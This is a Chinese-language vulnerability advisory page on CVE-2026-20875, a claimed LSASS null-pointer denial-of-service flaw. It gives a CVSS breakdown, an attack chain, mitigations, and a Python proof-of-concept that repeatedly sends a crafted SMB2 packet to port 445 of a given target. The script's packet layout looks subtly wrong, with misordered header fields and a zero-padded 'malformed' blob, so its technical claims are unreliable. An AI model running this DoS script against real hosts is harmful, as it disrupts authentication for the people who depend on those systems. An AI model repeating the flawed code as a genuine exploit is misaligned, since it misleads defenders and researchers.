IPBUF安全漏洞报告
English
CVE-2026-20875 CVSS 7.5 高危

CVE-2026-20875 Windows LSASS空指针解引用拒绝服务漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2026-20875
漏洞类型
空指针解引用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Windows Local Security Authority Subsystem Service (LSASS)

相关标签

空指针解引用拒绝服务WindowsLSASS微软高危漏洞网络攻击SMBRPC

漏洞概述

CVE-2026-20875是微软Windows操作系统中Local Security Authority Subsystem Service(LSASS,本地安全权威子系统服务)的一个高危安全漏洞。该漏洞允许未经授权的远程攻击者通过发送特制网络请求触发LSASS服务中的空指针解引用条件,导致服务崩溃或停止响应,从而造成目标系统的拒绝服务(DoS)状态。由于LSASS负责处理本地安全策略、用户认证和访问控制等关键安全功能,其不可用将直接影响系统的安全认证机制,可能导致用户无法登录系统、域控制器认证失败等严重后果。该漏洞无需认证即可利用,攻击复杂度低,具有较高的安全风险。

技术细节

该漏洞根源在于Windows LSASS服务在处理特定网络认证请求时未能正确验证指针有效性。当攻击者向目标系统发送精心构造的SMB或RPC请求时,LSASS服务在解析认证数据包过程中可能遇到无效内存引用,导致空指针解引用错误。由于Windows安全子系统在设计时假设某些安全令牌和上下文对象始终存在,当这些假设被打破时就会触发崩溃。攻击者可通过持续发送此类恶意请求使LSASS服务进入不可恢复的错误状态,造成服务终止或系统重启。该漏洞影响所有启用LSASS服务的Windows Server和Windows客户端版本,攻击者无需任何有效凭证即可实施攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描目标网络,识别运行Windows操作系统且开放SMB/RPC端口(445/139)的服务器
STEP 2
步骤2:构建攻击载荷
攻击者构造包含畸形数据结构特制SMB或RPC数据包,用于触发LSASS服务中的空指针解引用
STEP 3
步骤3:发送恶意请求
通过TCP连接向目标主机的445端口发送精心构造的恶意数据包,无需任何认证凭证
STEP 4
步骤4:触发漏洞
LSASS服务在处理恶意请求时未能正确验证内存指针,导致访问无效内存地址
STEP 5
步骤5:服务崩溃
空指针解引用导致LSASS服务崩溃或进入错误状态,丧失安全认证功能
STEP 6
步骤6:拒绝服务
系统无法进行正常的安全认证,用户可能无法登录,服务中断,造成完全拒绝服务状态

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-20875 PoC - Windows LSASS DoS # Target: Windows systems with vulnerable LSASS # Note: For authorized security testing only import socket import struct import time def create_malicious_smb_packet(): """Craft malicious SMB packet to trigger LSASS vulnerability""" # SMB2 Header packet = b'\xfeSMB' # SMB2 Protocol ID packet += struct.pack('<H', 0x003C) # Header Length packet += struct.pack('<H', 0x0001) # Credit Request packet += struct.pack('<I', 0x00000000) # Status packet += struct.pack('<H', 0x0000) # Command packet += struct.pack('<H', 0x0000) # Credits packet += struct.pack('<I', 0x00000000) # Flags packet += struct.pack('<Q', 0x0000000000000000) # NextCommand packet += struct.pack('<Q', 0x0000000000000000) # MessageId packet += struct.pack('<I', 0x00000000) # AsyncId packet += struct.pack('<Q', 0x0000000000000000) # SessionId # Malformed security blob to trigger null pointer packet += b'\x00' * 64 # Padding to cause null dereference return packet def exploit_cve_2026_20875(target_ip, port=445): """Send malicious packet to trigger LSASS vulnerability""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((target_ip, port)) print(f"[*] Connected to {target_ip}:{port}") # Send SMB negotiate request packet = create_malicious_smb_packet() sock.send(packet) print("[*] Malicious packet sent") # Send multiple packets to ensure crash for i in range(10): sock.send(packet) time.sleep(0.5) print("[+] DoS attack completed") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2026-20875-poc.py <target_ip>") sys.exit(1) exploit_cve_2026_20875(sys.argv[1])

影响范围

Windows Server 2016
Windows Server 2019
Windows Server 2022
Windows 10 1809 及更高版本
Windows 11
Windows 7 SP1
Windows 8.1

防御指南

临时缓解措施
在边界防火墙上阻止来自不可信网络的445和139端口入站流量;启用Windows防火墙入站规则限制SMB访问;部署网络分段策略将关键服务器隔离在受保护的网段中;监控LSASS服务状态和系统安全日志中的异常事件;考虑启用受保护进程Light(PPL)保护LSASS进程不被恶意软件篡改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表